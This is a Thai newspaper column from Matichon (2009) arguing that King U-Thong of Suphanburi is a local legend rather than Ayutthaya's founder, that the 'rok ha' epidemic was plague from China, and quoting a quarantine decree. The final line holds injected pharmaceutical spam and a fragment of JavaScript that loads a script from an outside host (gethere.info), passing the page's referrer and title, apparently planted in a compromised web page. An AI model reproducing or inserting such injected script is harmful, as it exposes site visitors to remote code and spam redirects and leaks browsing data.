หนังสือพิมพ์มติชน ฉบับประจำวันพุธที่ 3 มิถุนายน 2552

ประวัติศาสตร์แห่งชาติของไทย ครอบงำความคิดสังคมไทยให้ล้าหลังคลั่งชาติอย่างงมงาย ว่าพระเจ้าอู่ทองเป็นกษัตริย์ครองเมืองอู่ทองที่จังหวัดสุพรรณบุรี ต่อมามี“โรคห่า”ระบาด เลยอพยพหนีไปสร้างกรุงศรีอยุธยา เมื่อ พ.ศ. 1893

เมื่อศึกษาค้นคว้าอย่างจริงจังตั้งแต่ พ.ศ. 2507 พบหลักฐานใหม่ยืนยันหนักแน่นว่าเรื่องพระเจ้าอู่ทองที่สุพรรณบุรี เป็นนิทานประจำถิ่นนั้น ไม่มีตัวตนจริง และไม่ใช่กษัตริย์สถาปนากรุงศรีอยุธยา

กษัตริย์สถาปนากรุงศรีอยุธยา เมื่อ พ.ศ. 1893 มีพระนามทางการว่า “สมเด็จพระรามาธิบดี” เชื้อสายละโว้-อโยธยาศรีรามเทพ หมายความว่ามีบรรพชนเป็น“ขอม”(คือเขมร) เมืองละโว้ที่จังหวัดลพบุรี

ส่วน“โรคห่า”ระบาดครั้งนั้น เป็นเรื่องจริง แต่ไม่ใช่อหิวาตกโรคอย่างที่เข้าใจ หากเป็นกาฬโรค ผมเขียนไว้ในหนังสืออยุธยายศยิ่งฟ้า (พิมพ์ครั้งแรก พ.ศ. 2543) ความว่า

“ถ้าพิจารณาปรากฏการณ์ของโลกแล้ว จะพบว่าช่วงปลายพุทธศตวรรษที่ 19 (หรือหลัง พ.ศ. 1800) เกิดโรคระบาดที่ประเทศจีน แล้วกลายเป็นกาฬโรคระบาดไปทั่วโลก เพราะหนูเป็นพาหะอาศัยไปกับสำเภาบรรทุกสินค้า เอากาฬโรคไปแพร่ตามเมืองท่าต่างๆที่เรือแวะจอดด้วย มีหลักฐานว่ากาฬโรคจากเมืองจีนระบาดไปถึงตะวันออกกลางและยุโรประหว่าง พ.ศ. 1890-1893 เป็นเหตุให้มีผู้คนล้มตายนับล้านๆคน จนยุโรปเกือบร้าง (ศิลปวัฒนธรรม, ปีที่ 8 ฉบับที่ 12, ตุลาคม 2530, หน้า 62-68)

จะเห็นว่าช่วงเวลาที่กาฬโรคระบาดจากเมืองจีนไปถึงยุโรป ตรงกับเวลาในตำนานและพงศาวดารเรื่องพระเจ้าอู่ทองหนีโรค ‘ห่า’ แล้วสถาปนากรุงศรีอยุธยาเมื่อ พ.ศ. 1893”

กาฬโรคจากเมืองจีนยังแพร่กระจายในสมัยหลังอีก เช่น สมัยกรุงรัตนโกสินทร์นี่เอง อาจารย์รุ่งโรจน์ ภิรมย์อนุกูล แห่งมหาวิทยาลัยธุรกิจบัณฑิตย์ เอาสำเนาเอกสารเก่า “เรื่องประกาศห้ามเรือมาจากซัวเถา”มาให้อ่านนานแล้ว ดังนี้

กาฬโรค (คือโรคห่า) ได้เกิดขึ้นที่เมืองซัวเถานั้น ตั้งแต่วันที่ได้แจ้งความนี้ไปแล้ว กำปั่นลำหนึ่งลำใดออกจากเมืองซัวเถาและจะเข้ามาในกรุงนี้ ต้องหยุดทอดสมอที่เกาะไผ่ในกำหนดเก้าวันเต็มแล้ว และถ้าแพทย์ได้ตรวจแจ้งว่า กาฬโรคดังที่ว่ามาแล้ว ไม่ได้มีและได้เกิดในเรือนั้นแล้ว จึงจะยอมให้กำปั่นลำนั้นเดินต่อไปจนถึงที่จอดในกรุงนี้ได้

ประกาศ ณ วันที่ 26 เดือนเมษายน รัตนโกสินทรศก 116

(ลงชื่อ) เจ้าพระยาภาสกรวงศ์ ผู้รับพระราชเสาวนีย์ในที่ประชุม

(จากสำเนาพระราชกรณียกิจของสมเด็จพระศรีพัชรินทรา บรมราชินีนาถ ขณะทรงดำรงตำแหน่งผู้สำเร็จราชการแผ่นดิน ร.ศ. 116 พิมพ์ในราชกิจจานุเบกษา เล่ม 14 ร.ศ. 116)

ความรู้อย่างนี้ต้องแบ่งปันเผยแพร่เพื่อแก้ไขประวัติศาสตร์ไทยให้ใกล้เคียงความถูกต้อง แต่สถาบันการศึกษาและหน่วยงานที่รับผิดชอบโดยตรงขาดประสิทธิภาพ เลยสร้างปัญหาให้ครูในโรงเรียนทั่วประเทศ

ถ้าสังคมไทยมี“องค์การสื่อสารเพื่อการเรียนรู้” (อสร.) ตามที่หมอประเวศ วะสี แนะนำไว้ (โพสต์ ทูเดย์ ฉบับวันพฤหัสบดีที่ 21 พฤษภาคม 2552 วิเคราะห์ หน้า 2) ความรู้เรื่องกาฬโรคในยุคสถาปนากรุงศรีอยุธยา คงแบ่งปันเผยแพร่ออกไปได้กว้างขวางอย่างง่ายๆไปนานแล้ว

แต่ชนชั้นนำผู้มีอำนาจของไทยไม่เอาใจใส่งานแบ่งปันเผยแพร่ความรู้ จึงมีผลให้ประวัติศาสตร์แห่งชาติของไทยถูกถอดออกจากหลักสูตรมหาวิทยาลัยเกือบทั่วประเทศ

konthai3-06-52

“กูเป็นคนไทย” เรื่องแต่งอิงตำนานประวัติศาสตร์ ยุคก่อนกรุงศรีอยุธยา เรียกอโยธยาศรีรามเทพ การค้าสำเภากับจีนทำให้มีกาฬโรคระบาดจนเจ้านายรุ่นเก่าล้มตายเกือบหมด แล้วเกิดขัดแย้งทางการเมืองภายใน ส่งผลให้ “ผู้มีบุญ” ได้รับยกย่องเป็นพระราชา แล้วสถาปนากรุงศรีอยุธยาขึ้นใหม่ ผู้คนรุ่นใหม่เริ่มเรียกตัวเองว่า “คนไทย” 

นิธิ เอียวศรีวงศ์ เขียนไว้ในมติชนสุดสัปดาห์ ฉบับวันที่ 17-23 เมษายน 2552 ว่า “กูเป็นคนไทย” ฟังดูเป็นหนังสือปลุกใจรักชาติ ซึ่งก็ใช่เลย ถ้าชาติของเราไม่ได้ถูกยัดเยียดจินตนากรรมที่บิดเบี้ยวมาก่อน

“กูเป็นคนไทย” เป็นนิยายที่ใช้ฉากของบ้านเมืองในลุ่มเจ้าพระยาตอนล่าง เมื่อช่วงหัวเลี้ยวหัวต่อที่กรุงศรีอยุธยาจะขยายอำนาจไปครอบคลุมบ้านเมืองในแถบนี้ไว้ได้ทั้งหมด แล้วสถาปนาตนเองขึ้นเป็นศูนย์อำนาจใหม่ ที่สามารถแข่งขันกับศูนย์อำนาจเดิม เช่น เมืองพระนครในลุ่มทะเลสาบเขมร, นครศรีธรรมราช, สุโขทัย เป็นต้น

พูดในทางประวัติศาสตร์คือในช่วงก่อน พ.ศ. 1893 ก่อน “ตั้ง”กรุงศรีอยุธยานั่นเอง
forzest pills buy cialis sublinguals.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;